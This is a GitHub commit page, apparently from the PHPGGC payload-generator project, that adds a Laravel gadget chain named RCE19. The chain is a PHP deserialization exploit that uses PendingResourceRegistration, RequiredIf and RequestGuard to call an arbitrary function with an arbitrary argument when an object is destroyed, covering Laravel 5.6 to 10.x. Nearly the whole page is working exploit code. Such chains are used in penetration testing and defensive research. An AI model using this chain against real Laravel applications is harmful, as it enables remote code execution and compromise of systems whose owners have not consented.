-
Notifications
You must be signed in to change notification settings - Fork 477
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merged coiffeur's into Laravel/RCE20 as Laravel/RCE19 is now taken
- Loading branch information
Showing
2 changed files
with
71 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Laravel; | ||
|
||
class RCE19 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '5.6 <= 10.x'; | ||
public static $vector = '__destruct'; | ||
public static $author = 'coiffeur'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
return new \Illuminate\Routing\PendingResourceRegistration( | ||
$parameters['function'], | ||
$parameters['parameter'] | ||
); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
<?php | ||
|
||
namespace Illuminate\Auth | ||
{ | ||
class RequestGuard | ||
{ | ||
protected $callback; | ||
protected $request; | ||
protected $provider; | ||
public function __construct($callback, $request) | ||
{ | ||
$this->callback = $callback; | ||
$this->request = $request; | ||
$this->provider = 1; | ||
} | ||
} | ||
} | ||
|
||
namespace Illuminate\Validation\Rules | ||
{ | ||
class RequiredIf | ||
{ | ||
public $condition; | ||
public function __construct($func, $arg) | ||
{ | ||
$this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"]; | ||
} | ||
} | ||
} | ||
|
||
namespace Illuminate\Routing | ||
{ | ||
class ResourceRegistrar | ||
{ | ||
protected $router; | ||
public function __construct() | ||
{ | ||
$this->router = null; | ||
} | ||
} | ||
|
||
class PendingResourceRegistration | ||
{ | ||
protected $registrar; | ||
protected $name; | ||
protected $registered = false; | ||
public function __construct($func, $arg) | ||
{ | ||
$this->registrar = new \Illuminate\Routing\ResourceRegistrar(); | ||
$this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg); | ||
} | ||
} | ||
} |